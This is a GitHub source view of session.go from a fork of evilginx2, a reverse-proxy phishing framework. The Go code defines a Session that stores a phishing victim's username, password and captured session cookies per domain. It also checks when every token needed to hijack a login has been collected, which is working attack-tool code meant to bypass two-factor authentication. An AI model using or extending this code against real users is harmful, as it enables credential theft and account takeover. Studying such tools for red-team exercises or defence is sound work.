forked from kgretzky/evilginx2
-
Notifications
You must be signed in to change notification settings - Fork 0
/
session.go
104 lines (93 loc) · 2.15 KB
/
session.go
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
package core
import (
"github.com/kgretzky/evilginx2/database"
)
type Session struct {
Id string
Name string
Username string
Password string
Custom map[string]string
Tokens map[string]map[string]*database.Token
RedirectURL string
IsDone bool
IsAuthUrl bool
RedirectCount int
PhishLure *Lure
}
func NewSession(name string) (*Session, error) {
s := &Session{
Id: GenRandomToken(),
Name: name,
Username: "",
Password: "",
Custom: make(map[string]string),
RedirectURL: "",
IsDone: false,
IsAuthUrl: false,
RedirectCount: 0,
PhishLure: nil,
}
s.Tokens = make(map[string]map[string]*database.Token)
return s, nil
}
func (s *Session) SetUsername(username string) {
s.Username = username
}
func (s *Session) SetPassword(password string) {
s.Password = password
}
func (s *Session) SetCustom(name string, value string) {
s.Custom[name] = value
}
func (s *Session) AddAuthToken(domain string, key string, value string, path string, http_only bool, authTokens map[string][]*AuthToken) bool {
if _, ok := s.Tokens[domain]; !ok {
s.Tokens[domain] = make(map[string]*database.Token)
}
if tk, ok := s.Tokens[domain][key]; ok {
tk.Name = key
tk.Value = value
tk.Path = path
tk.HttpOnly = http_only
} else {
s.Tokens[domain][key] = &database.Token{
Name: key,
Value: value,
HttpOnly: http_only,
}
}
tcopy := make(map[string][]AuthToken)
for k, v := range authTokens {
tcopy[k] = []AuthToken{}
for _, at := range v {
if !at.optional {
tcopy[k] = append(tcopy[k], *at)
}
}
}
for domain, tokens := range s.Tokens {
for tk, _ := range tokens {
if al, ok := tcopy[domain]; ok {
for an, at := range al {
match := false
if at.re != nil {
match = at.re.MatchString(tk)
} else if at.name == tk {
match = true
}
if match {
tcopy[domain] = append(tcopy[domain][:an], tcopy[domain][an+1:]...)
if len(tcopy[domain]) == 0 {
delete(tcopy, domain)
}
break
}
}
}
}
}
if len(tcopy) == 0 {
return true
}
return false
}